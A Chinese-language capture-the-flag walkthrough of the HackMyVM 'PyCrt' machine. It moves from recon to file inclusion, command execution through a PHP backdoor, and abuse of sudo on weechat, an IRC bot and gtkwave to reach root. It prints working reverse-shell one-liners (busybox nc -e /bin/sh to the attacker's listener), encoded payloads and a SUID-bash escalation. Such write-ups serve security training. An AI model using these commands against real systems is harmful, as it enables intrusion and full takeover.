HackMyVM-PyCrt-Walkthrough
城南花已开 Lv6

信息收集

服务探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
sudo arp-scan -l
[sudo] password for Pepster:
Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.60.1 00:50:56:c0:00:08 VMware, Inc.
192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc.
192.168.60.173 08:00:27:02:ed:9a PCS Systemtechnik GmbH
192.168.60.254 00:50:56:ef:e4:ce VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.017 seconds (126.92 hosts/sec). 4 responded
export ip=192.168.60.173
❯ rustscan -a $ip
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Making sure 'closed' isn't just a state of mind.

[~] The config file is expected to be at "/home/Pepster/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.60.173:22
Open 192.168.60.173:80
Open 192.168.60.173:6667
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-09 20:55 CST
Initiating ARP Ping Scan at 20:55
Scanning 192.168.60.173 [1 port]
Completed ARP Ping Scan at 20:55, 0.11s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 20:55
Completed Parallel DNS resolution of 1 host. at 20:55, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 20:55
Scanning 192.168.60.173 [3 ports]
Discovered open port 80/tcp on 192.168.60.173
Discovered open port 22/tcp on 192.168.60.173
Discovered open port 6667/tcp on 192.168.60.173
Completed SYN Stealth Scan at 20:55, 0.06s elapsed (3 total ports)
Nmap scan report for 192.168.60.173
Host is up, received arp-response (0.00058s latency).
Scanned at 2025-05-09 20:55:40 CST for 0s

PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
6667/tcp open irc syn-ack ttl 64
MAC Address: 08:00:27:02:ED:9A (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.47 seconds
Raw packets sent: 4 (160B) | Rcvd: 5 (402B)

枚举目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 50 -x php,html,zip,txt -b 404,403
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.60.173
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes: 404,403
[+] User Agent: gobuster/3.6
[+] Extensions: txt,php,html,zip
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 10701]

只有一个默认的apache页面

没有其他信息

尝试访问6667端口,namp提示是irc服务

nmap探测到可能存在irc-unrealircd-backdoor漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
❯ nmap $ip --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 6667
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-09 20:57 CST
Nmap scan report for 192.168.60.173
Host is up (0.0066s latency).

PORT STATE SERVICE
6667/tcp open irc
|_irc-unrealircd-backdoor: Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 (or higher if you get this message again).
| irc-botnet-channels:
|_ ERROR: TIMEOUT
| irc-info:
| users: 2
| servers: 1
| chans: 0
| lusers: 2
| lservers: 0
| server: irc.local
| version: InspIRCd-3. irc.local
| source ident: nmap
| source host: 192.168.60.100
|_ error: Closing link: ([email protected]) [Client exited]
MAC Address: 08:00:27:02:ED:9A (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 65.60 seconds

打开msfconsole尝试利用一下,无果,可能存在nmap误报的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
❯ msfconsole
Metasploit tip: Save the current environment with the save command,
future console restarts will use this environment again

IIIIII dTb.dTb _.---._
II 4' v 'B .'"".'/|\`.""'.
II 6. .P : .' / | \ `. :
II 'T;. .;P' '.' / | \ `.'
II 'T; ;P' `. / | \ .'
IIIIII 'YvP' `-.__|__.-'

I love shells --egypt


=[ metasploit v6.4.38-dev ]
+ -- --=[ 2467 exploits - 1273 auxiliary - 431 post ]
+ -- --=[ 1478 payloads - 49 encoders - 13 nops ]
+ -- --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search irc

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
…………………………
40 exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 excellent No UnrealIRCD 3.2.8.1 Backdoor Command Execution
…………………………


Interact with a module by name or index. For example info 49, use 49 or use exploit/multi/misc/w3tw0rk_exec

msf6 > use 40
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host
:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://d
ocs.metasploit.com/docs/using-met
asploit/basics/using-metasploit.h
tml
RPORT 6667 yes The target port (TCP)


Exploit target:

Id Name
-- ----
0 Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 192.168.60.1
73
RHOSTS => 192.168.60.173
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse_perl
payload => cmd/unix/reverse_perl
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST=192.168.60.100
[-] Unknown datastore option: LHOST=192.168.60.100.
Usage: set [options] [name] [value]

Set the given option to value. If value is omitted, print the current value.
If both are omitted, print options that are currently set.

If run from a module context, this will set the value in the module's
datastore. Use -g to operate on the global datastore.

If setting a PAYLOAD, this command can take an index from `show payloads'.

OPTIONS:

-c, --clear Clear the values, explicitly setting to nil (default)
-g, --global Operate on global datastore variables
-h, --help Help banner.

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host
:port[,type:host:port][...]
RHOSTS 192.168.60.173 yes The target host(s), see https://d
ocs.metasploit.com/docs/using-met
asploit/basics/using-metasploit.h
tml
RPORT 6667 yes The target port (TCP)


Payload options (cmd/unix/reverse_perl):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface ma
y be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Automatic Target



View the full module info with the info, or info -d command.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 192.168.60.100
LHOST => 192.168.60.100
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > run

[*] Started reverse TCP handler on 192.168.60.100:4444
[*] 192.168.60.173:6667 - Connected to 192.168.60.173:6667...
:irc.local NOTICE * :*** Looking up your hostname...
[*] 192.168.60.173:6667 - Sending backdoor command...
[*] Exploit completed, but no session was created.

利用nc连接一下irc服务,查看欢迎信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
❯ nc -vn $ip 6667
(UNKNOWN) [192.168.60.173] 6667 (ircd) open
:irc.local NOTICE * :*** Looking up your hostname...
:irc.local NOTICE * :*** Could not resolve your hostname: Request timed out; using your IP address (192.168.60.100) instead.
USER ran213eqdw123 0 * ran213eqdw123
NICK ran213eqdw123
:irc.local 001 ran213eqdw123 :Welcome to the Localnet IRC Network [email protected]
:irc.local 002 ran213eqdw123 :Your host is irc.local, running version InspIRCd-3
:irc.local 003 ran213eqdw123 :This server was created 04:41:12 May 10 2025
:irc.local 004 ran213eqdw123 irc.local InspIRCd-3 iosw biklmnopstv :bklov
:irc.local 005 ran213eqdw123 AWAYLEN=200 CASEMAPPING=rfc1459 CHANLIMIT=#:20 CHANMODES=b,k,l,imnpst CHANNELLEN=64 CHANTYPES=# ELIST=CMNTU HOSTLEN=64 KEYLEN=32 KICKLEN=255 LINELEN=512 MAXLIST=b:100 :are supported by this server
:irc.local 005 ran213eqdw123 MAXTARGETS=20 MODES=20 NAMELEN=128 NETWORK=Localnet NICKLEN=30 PREFIX=(ov)@+ SAFELIST STATUSMSG=@+ TOPICLEN=307 USERLEN=10 USERMODES=,,s,iow WHOX :are supported by this server
:irc.local 251 ran213eqdw123 :There are 0 users and 0 invisible on 1 servers
:irc.local 253 ran213eqdw123 1 :unknown connections
:irc.local 254 ran213eqdw123 0 :channels formed
:irc.local 255 ran213eqdw123 :I have 0 clients and 0 servers
:irc.local 265 ran213eqdw123 :Current local users: 0 Max: 0
:irc.local 266 ran213eqdw123 :Current global users: 0 Max: 0
:irc.local 375 ran213eqdw123 :irc.local message of the day
:irc.local 372 ran213eqdw123 : **************************************************
:irc.local 372 ran213eqdw123 : * H E L L O *
:irc.local 372 ran213eqdw123 : * This is a private irc server. Please contact *
:irc.local 372 ran213eqdw123 : * the admin of the server for any questions or *
:irc.local 372 ran213eqdw123 : * issues ShadowSec directory. *
:irc.local 372 ran213eqdw123 : **************************************************
:irc.local 372 ran213eqdw123 : * The software was provided as a package of *
:irc.local 372 ran213eqdw123 : * Debian GNU/Linux <https://www.debian.org/>. *
:irc.local 372 ran213eqdw123 : * However, Debian has no control over this *
:irc.local 372 ran213eqdw123 : * server. *
:irc.local 372 ran213eqdw123 : **************************************************
:irc.local 372 ran213eqdw123 : (The sysadmin possibly wants to edit </etc/inspircd/inspircd.motd>)
:irc.local 376 ran213eqdw123 :End of message of the day.

我直接讲信息丢给GPT,让他筛选出有价值的信息

得到一个ShadowSec关键字

image

我此关键字作为路径访问一下80端口

发现存在一个纯静态的页面,没有任何交互界面,得到一个用户IDll104567

image

尝试目录枚举,路径竟然是big字典里面的最后几个,扫的太慢了,硬控我半小时😅

得到/bydataset.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ gobuster dir -u http://$ip/ShadowSec -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 50 -x php,html,zip,txt -b 404,403
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.60.173/ShadowSec
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes: 404,403
[+] User Agent: gobuster/3.6
[+] Extensions: html,zip,txt,php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 6270]
/bydataset.php (Status: 200) [Size: 21]
Progress: 6369160 / 6369165 (100.00%)
===============================================================
Finished
===============================================================

访问一下,有个回显

1
2
3
❯ curl http://$ip/ShadowSec/bydataset.php
Nothing to see here.
这里没什么好看的。

LFI 文件包含

模糊测试一下,得到参数file

这里过滤不能用--hw 4因为不是单词个数不一样,而是字符不一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ wfuzz -c -u "http://$ip/ShadowSec/bydataset.php?FUZZ=../../../etc/passwd" -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --hh 21
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://192.168.60.173/ShadowSec/bydataset.php?FUZZ=../../../etc/passwd
Total requests: 207643

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000000741: 200 0 L 4 W 19 Ch "file"
000001208: 200 1 L 4 W 21 Ch "ethics"
/usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing p

Total time: 11.58517
Processed Requests: 1149
Filtered Requests: 1148
Requests/sec.: 99.17845

curl一下,不能读取该文件

1
2
❯ curl "http://$ip/ShadowSec/bydataset.php?file=../../../etc/passwd"
Failed to read file

我尝试多加几个上级路径绕过一下,得到用户名chatlake pycrtlake

1
2
3
4
❯ curl -s "http://$ip/ShadowSec/bydataset.php?file=../../../../etc/passwd" |grep -P '/bin/(ba)?sh'
root:x:0:0:root:/root:/bin/bash
pycrtlake:x:1000:1000:pycrtlake,,,:/home/pycrtlake:/bin/bash
chatlake:x:1001:1001::/home/chatlake:/bin/sh

命令注入

尝试利用php包过滤器读取一下网页源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
❯ curl  -s "http://$ip/ShadowSec/bydataset.php?file=php://filter/convert.base64-encode/resource=bydataset.php" |base64 -d
<?php

function decrypt($input) {
$reversed = strrev($input);
echo "Reversed: " . $reversed . "\n";

$decoded = base64_decode($reversed);
echo "Decoded: " . $decoded . "\n";

if ($decoded === false) {
echo "Base64 decoding failed.\n";
return false;
}

if (strpos($decoded, 'cmd:') === 0) {
return substr($decoded, 4);
}

return false;
}

if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['file'])) {
$file = $_GET['file'];
if (stripos($file, 'phpinfo') !== false) {
exit('Access Denied');
}
$filterUrl = 'php://filter/convert.base64-encode/resource=' . $file;
$data = @file_get_contents($filterUrl);
if ($data === false) {
exit('Failed to read file');
}
echo base64_decode($data);
exit;
} elseif ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['auth']) && isset($_POST['payload'])) {
$auth = $_POST['auth'];
$payload = $_POST['payload'];

if ($auth !== 'LetMeIn123!') {
exit('Invalid Auth Token.');
}

$command = decrypt($payload);
if ($command !== false) {
$output = exec($command);
echo "<pre>$output</pre>";
} else {
echo "Payload decode failed.\n";
}
exit;
} else {
echo "Nothing to see here.";
}
?>

发现存在一个命令注入的漏洞,并且auth明文写在代码中

尝试发送POST数据包,带有auth payload并且payload需要进行反转后再base64解码

那我们反向操作一下,payload中需要包含cmd:

即可成功拿到命令回显

1
2
3
4
5
6
7
echo "cmd:id"|base64 |rev
==gCklmOk12Y
❯ curl -s "http://$ip/ShadowSec/bydataset.php" -X POST -d 'auth=LetMeIn123!&payload===gCklmOk12Y'
Reversed: Y21kOmlkCg==
Decoded: cmd:id

<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre>%

用户提权

尝试反弹shell

尝试寻找属于pycrtlake用户的文件

得到irc_bot.py不过我们没有权限读

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
echo "cmd:busybox nc 192.168.60.100 4444 -e /bin/sh"|base64 |rev
==gCoN3LulmYvASZtACN0QDNgADMx4CM24CO2EjLykTMgMmbgg3bil3c1JmOk12Y
❯ curl -s "http://$ip/ShadowSec/bydataset.php" -X POST -d 'auth=LetMeIn123!&payload===gCoN3LulmYvASZtACN0QDNgADMx4CM24CO2EjLykTMgMmbgg3bil3c1JmOk12Y'
--------------------------
❯ penelope.py
[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.60.100
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from PyCrt-192.168.60.173-Linux-x86_64 😍️ Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /home/Pepster/.penelope/PyCrt~192.168.60.173_Linux_x86_64/2025_05_10-17_47_46-737.log 📜
──────────────────────────────────────────────────────────────────────────
www-data@PyCrt:/var/www/html/ShadowSec$find / -user pycrtlake -type f 2>/dev/null
/usr/local/bin/irc_bot.py
www-data@PyCrt:/var/www/html$ ls -al /usr/local/bin/irc_bot.py
-rwxr-x--- 1 pycrtlake pycrtlake 5744 Apr 5 08:32 /usr/local/bin/irc_bot.py
www-data@PyCrt:/var/www/html$ cat /usr/local/bin/irc_bot.py
cat: /usr/local/bin/irc_bot.py: Permission denied

并且我们还拥有sudo权限可以运行weechat

1
2
3
4
5
6
www-data@PyCrt:/var/www/html$ sudo -l
Matching Defaults entries for www-data on PyCrt:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on PyCrt:
(chatlake) NOPASSWD: /usr/bin/weechat

尝试运行一下,会有个GUI界面

image

查看帮助手册,得知存在命令exec

利用/exec busybox nc 192.168.60.100 1234 -e /bin/sh即可反弹回shell

可以拿到user flag,并且同样的也拥有sudo权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
❯ pwncat-cs -lp 1234
[18:05:22] Welcome to pwncat 🐈! __main__.py:164
[18:05:26] received connection from 192.168.60.173:50112 bind.py:84
[18:05:26] 0.0.0.0:1234: upgrading from /usr/bin/dash to manager.py:957
/usr/bin/bash
[18:05:27] 192.168.60.173:50112: registered new host w/ db manager.py:957
(local) pwncat$
(remote) chatlake@PyCrt:/var/www/html$
(remote) chatlake@PyCrt:/var/www/html$ cd ~
(remote) chatlake@PyCrt:/home/chatlake$ ls -al
total 28
drwx------ 3 chatlake chatlake 4096 Apr 5 08:24 .
drwxr-xr-x 4 root root 4096 Apr 5 07:56 ..
lrwxrwxrwx 1 root root 9 Apr 5 08:24 .bash_history -> /dev/null
-rw-r--r-- 1 chatlake chatlake 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 chatlake chatlake 3526 Apr 18 2019 .bashrc
-rw-r--r-- 1 chatlake chatlake 807 Apr 18 2019 .profile
drwxr-xr-x 8 chatlake chatlake 4096 May 10 06:05 .weechat
-rw-r--r-- 1 chatlake chatlake 39 Apr 4 23:55 user.txt
(remote) chatlake@PyCrt:/home/chatlake$ cat user.txt
flag{b42baba466402e32157a1cbba819664e}
(remote) chatlake@PyCrt:/home/chatlake$ sudo -l
Matching Defaults entries for chatlake on PyCrt:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User chatlake may run the following commands on PyCrt:
(ALL) NOPASSWD: /usr/bin/systemctl start irc_bot.service

不过我们依然没有查看irc_bot.py的权限

但是可以利用systemctl启动irc_bot.service

查看一下配置文件,发现是利用python执行的irc_bot.py,并且Userpycrtlake

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(remote) chatlake@PyCrt:/home/chatlake$ systemctl cat irc_bot.service
# /etc/systemd/system/irc_bot.service
[Unit]
Description=IRC Bot Service
After=network.target

[Service]
User=pycrtlake
Group=pycrtlake
WorkingDirectory=/usr/local/bin
ExecStart=/usr/bin/python3 /usr/local/bin/irc_bot.py
Restart=always
RestartSec=5
StandardOutput=syslog
StandardError=syslog
Environment=PYTHONUNBUFFERED=1

[Install]
WantedBy=multi-user.target

启动此irc_bot服务

1
(remote) chatlake@PyCrt:/home/chatlake$ sudo /usr/bin/systemctl start irc_bot.service

这时候我们可以启动weechat,并且添加server取名叫irc

连接到本地irc服务器中

1
2
/server add irc 127.0.0.1/6667
/connect irc

我随意取个名字,可以列出全部的频道

1
2
3
4
5
6
7
8
9
10
11
[test] /nick test
│06:29:19 irc -- | You are now known as test
[test] /list
│06:29:40 irc -- | Channel Users Name
│06:29:40 irc -- | #chan2(1): [+nt]
│06:29:40 irc -- | #chan3(1): [+nt]
│06:29:40 irc -- | #chan4(1): [+nt]
│06:29:40 irc -- | #chan5(1): [+nt]
│06:29:40 irc -- | #chan6(1): [+nt]
│06:29:40 irc -- | #chan1(1): [+nt]
│06:29:40 irc -- | End of channel list.

随意加入一个频道进行发言,其实并没有什么信息

但当你使用ll104567作为昵称然后加入了#chan6后等一会发现有个提示,最后需要加个:)

1
2
3
4
5
/join  #chan1
/nick ll104567
/join #chan6
06:51:44 @admin | My friends and I are chatting on it, but we all follow the formatting requirements. Finally, we need to:) End
我的朋友和我在上面聊天,但我们都遵循格式要求。最后,我们需要:) 结束

所以我们回到频道1可以尝试随意输入一点字符然后然后加入:)

1
06:56:44 test | abc:)    

会出现一个新的窗口admin,你可以使用alt+方向键切换缓冲区

image

提示格式错误或存在非法字符

1
06:56:44 admin | [!] Format error or presence of illegal characters

然后当你进入#chan2的时候,输入字符还是显示存在非法字符

但输入数字则会出现错误:不允许执行命令

1
07:09:35 admin | [!] Error: Command execution not allowed

因为你不是ll104567,所以你需要将昵称改为ll104567才可以执行命令

1
[test] /nick ll104567

然会回到#chan1输入数字即可解析{

但还是提示[!] 错误命令:“id”未经授权!

1
2
3
07:17:58 ll104567 | 123:)  
--------------------------
07:17:58 admin | [!] Wrong command: '{' unauthorized!

不过由此推断,admin会将数字解析为ascii字符作为命令执行

image

1
2
3
07:19:57 ll104567 | 105 100:)   
-------------------------------
07:19:57 admin | [!] Wrong command: 'id' unauthorized!

我发现虽然无法执行id命令,但可以执行whoami

image

1
2
3
07:21:49 ll104567 | 119 104 111 97 109 105:) 
-----------------------------------
07:21:49 admin | [+] COMMAND EXECUTION:pycrtlake

并且还可以执行busybox

尝试反弹一下shelll

image

1
[ll104567] 98 117 115 121 98 111 120 32 110 99 32 49 57 50 46 49 54 56 46 54 48 46 49 48 48 32 54 54 54 54 32 45 101 32 47 98 105 110 47 115 104:)

Root提权

监听端口

1
2
3
4
5
6
7
8
9
❯ pwncat-cs -lp 6666
[19:23:43] Welcome to pwncat 🐈! __main__.py:164
[19:24:00] received connection from 192.168.60.173:54656 bind.py:84
[19:24:01] 0.0.0.0:6666: upgrading from /usr/bin/dash to manager.py:957
/usr/bin/bash
192.168.60.173:54656: registered new host w/ db manager.py:957
(local) pwncat$
(remote) pycrtlake@PyCrt:/usr/local/bin$

并且拥有sudo权限

通过查看help得知可以使用-S执行脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
(remote) pycrtlake@PyCrt:/usr/local/bin$ sudo -l
Matching Defaults entries for pycrtlake on PyCrt:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User pycrtlake may run the following commands on PyCrt:
(ALL) NOPASSWD: /usr/bin/gtkwave
(remote) pycrtlake@PyCrt:/usr/local/bin$ /usr/bin/gtkwave -h
Could not initialize GTK! Is DISPLAY env var/xhost set?

Usage: /usr/bin/gtkwave [OPTION]... [DUMPFILE] [SAVEFILE] [RCFILE]

-n, --nocli=DIRPATH use file requester for dumpfile name
-f, --dump=FILE specify dumpfile name
-F, --fastload generate/use VCD recoder fastload files
-o, --optimize optimize VCD to FST
-a, --save=FILE specify savefile name
-A, --autosavename assume savefile is suffix modified dumpfile name
-r, --rcfile=FILE specify override .rcfile name
-d, --defaultskip if missing .rcfile, do not use useful defaults
-D, --dualid=WHICH specify multisession identifier
-l, --logfile=FILE specify simulation logfile name for time values
-s, --start=TIME specify start time for LXT2/VZT block skip
-e, --end=TIME specify end time for LXT2/VZT block skip
-t, --stems=FILE specify stems file for source code annotation
-c, --cpu=NUMCPUS specify number of CPUs for parallelizable ops
-N, --nowm disable window manager for most windows
-M, --nomenus do not render menubar (for making applets)
-S, --script=FILE specify Tcl command script file for execution
-T, --tcl_init=FILE specify Tcl command script file to be loaded on startup
-W, --wish enable Tcl command line on stdio
-R, --repscript=FILE specify timer-driven Tcl command script file
-P, --repperiod=VALUE specify repscript period in msec (default: 500)
-X, --xid=XID specify XID of window for GtkPlug to connect to
-1, --rpcid=RPCID specify RPCID of GConf session
-2, --chdir=DIR specify new current working directory
-3, --restore restore previous session
-4, --rcvar specify single rc variable values individually
-5, --sstexclude specify sst exclusion filter filename
-I, --interactive interactive VCD mode (filename is shared mem ID)
-C, --comphier use compressed hierarchy names (slower)
-g, --giga use gigabyte mempacking when recoding (slower)
-L, --legacy use legacy VCD mode rather than the VCD recoder
-v, --vcd use stdin as a VCD dumpfile
-O, --output=FILE specify filename for stdout/stderr redirect
-z, --slider-zoom enable horizontal slider stretch zoom
-V, --version display version banner then exit
-h, --help display this help then exit
-x, --exit exit after loading trace (for loader benchmarks)

VCD files and save files may be compressed with zip or gzip.
GHW files may be compressed with gzip or bzip2.
Other formats must remain uncompressed due to their non-linear access.
Note that DUMPFILE is optional if the --dump or --nocli options are specified.
SAVEFILE and RCFILE are always optional.

Report bugs to <[email protected]>.

GTKWave 是一款开源的波形查看工具,主要用于分析数字电路仿真生成的波形文件(如 VCD、LXT、FST 等格式)。

查询一下GTKWave脚本的语言命令

TCL/TK 8.6版 TCL语言内置命令列表 - 哔哩哔哩

image

所以尝试写一个命令

1
(remote) pycrtlake@PyCrt:/usr/local/bin$ echo "exec chmod +s /bin/bash">/tmp/a

不过你会发现咋运行都报错,弹出help

1
2
3
4
(remote) pycrtlake@PyCrt:/usr/local/bin$ sudo  /usr/bin/gtkwave -S /tmp/a 
Could not initialize GTK! Is DISPLAY env var/xhost set?
无法初始化GTK!DISPLAY环境变量/xhost是否设置?
………………………………

原因是缺少图形界面支持

如果不需要实际显示界面,可以用 Xvfb 创建一个虚拟显示设备。

利用bash正常提权即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
(remote) pycrtlake@PyCrt:/usr/local/bin$ xvfb-run -a sudo  /usr/bin/gtkwave -S /tmp/a

GTKWave Analyzer v3.3.118 (w)1999-2023 BSI

GTKWAVE | Use the -h, --help command line flags to display help.

(gtkwave:15128): dconf-WARNING **: 07:47:52.142: failed to commit changes to dconf: Failed to execute child process ?dbus-launch? (No such file or directory)
GTKWAVE | Executing Tcl script '/tmp/a'
^C
(remote) pycrtlake@PyCrt:/usr/local/bin$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18 2019 /bin/bash
(remote) pycrtlake@PyCrt:/usr/local/bin$ bash -p
(remote) root@PyCrt:/usr/local/bin# id
uid=1000(pycrtlake) gid=1000(pycrtlake) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(pycrtlake)
(remote) root@PyCrt:/usr/local/bin# whoami
root
(remote) root@PyCrt:/usr/local/bin# cat /root/root.txt
flag{e80ecc46ca5e00bf8a51c47f0cc3e868}

后记

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
# cat irc_bot.py
import irc.bot
import irc.client
import re
import subprocess
import time
import threading

class IRCBot(irc.bot.SingleServerIRCBot):
def __init__(self, server, port, nickname, channels, command_channel):
irc.bot.SingleServerIRCBot.__init__(self, [(server, port)], nickname, nickname)
self.channel_list = channels
self.command_channel = "#chan1" # 唯一执行命令的频道
self.command_channels = ["#chan1", "#chan2", "#chan3", "#chan4", "#chan5"] # 所有检测命令的频道
self.command_pattern = re.compile(r':\)$')
self.allowed_users = {"Todd", "suraxddq", "ll104567"}
self.number_regex = re.compile(r'^\s*(\d+\s+)*\d+\s*$')
self.allowed_commands = ["more", "dir", "busybox", "whoami"]
self.chan6_timer = None

def on_welcome(self, connection, event):
for channel in self.channel_list:
connection.join(channel)
print(f"[+] Already joined the channel:{channel}")
self.start_chan6_timer()

